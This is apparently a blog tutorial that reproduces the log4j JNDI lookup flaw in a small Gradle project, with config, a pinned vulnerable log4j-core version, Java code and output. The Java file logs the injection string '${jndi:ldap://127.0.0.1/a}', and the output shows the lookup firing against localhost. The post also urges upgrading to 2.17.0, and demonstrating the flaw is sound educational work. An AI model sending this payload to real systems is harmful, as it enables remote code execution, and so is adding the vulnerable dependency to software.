Replicate log4j RCE vulnerability (PoC)


It has been over 10 days that the log4j RCE vulnerability had been reported, if your application have been using version 2.x you should had immediately fixed it with version 2.17.0

If you are wondering how to replicate this issue, and unable to find what the fuss is all about, lets see one example, its really very simple to replicate,

log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="LogToConsole" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="error">
            <AppenderRef ref="LogToConsole"/>
        </Root>
    </Loggers>
</Configuration>
build.gradle
plugins {
    id 'java'
}

group 'org.example'
version '1.0-SNAPSHOT'

repositories {
    mavenCentral()
}

dependencies {
    testImplementation 'org.junit.jupiter:junit-jupiter-api:5.6.0'
    testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine'
    implementation 'org.apache.logging.log4j:log4j-core:2.11.2'


}

test {
    useJUnitPlatform()
}
Demo.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Demo {

    private static final Logger logger = LogManager.getLogger(Demo.class);

    public static void main(String... args) {
        logger.error("Replicating log4j vulnerability...");
        logger.error("... ${jndi:ldap://127.0.0.1/a} ...");
    }
}
Output:
1:42:03 PM: Executing task 'Demo.main()'...

Starting Gradle Daemon...
Gradle Daemon started in 549 ms
> Task :compileJava UP-TO-DATE
> Task :processResources
> Task :classes

> Task :Demo.main()
13:42:05.748 [main] ERROR Demo - Replicating log4j vulnerability...
2021-12-19 13:42:05,783 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at java.naming/com.sun.jndi.ldap.Connection.(Connection.java:244)
	at java.naming/com.sun.jndi.ldap.LdapClient.(LdapClient.java:137)
	at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)
	at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2851)
	at java.naming/com.sun.jndi.ldap.LdapCtx.(LdapCtx.java:349)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
	at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
	at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
	at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
	at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:188)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1060)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:982)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:878)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:433)
	at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
	at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
	at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:334)
	at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:233)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:218)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:58)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
	at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
        ....
	at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2002)
	at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1974)
	at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:731)
	at Demo.main(Demo.java:10)
Caused by: java.net.ConnectException: Connection refused (Connection refused)
	at java.base/java.net.PlainSocketImpl.socketConnect(Native Method)
	at java.base/java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:399)
	at java.base/java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:242)
	at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:224)
	at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:403)
	at java.base/java.net.Socket.connect(Socket.java:609)
	at java.base/java.net.Socket.connect(Socket.java:558)
	at java.base/java.net.Socket.(Socket.java:454)
	at java.base/java.net.Socket.(Socket.java:231)
	at java.naming/com.sun.jndi.ldap.Connection.createSocket(Connection.java:337)
	at java.naming/com.sun.jndi.ldap.Connection.(Connection.java:223)
	... 42 more

13:42:05.751 [main] ERROR Demo - ... ${jndi:ldap://127.0.0.1/a} ...

BUILD SUCCESSFUL in 2s
3 actionable tasks: 2 executed, 1 up-to-date
1:42:05 PM: Task execution finished 'Demo.main()'.
Log4j vulnerability replication demo
Log4j vulnerability replication demo

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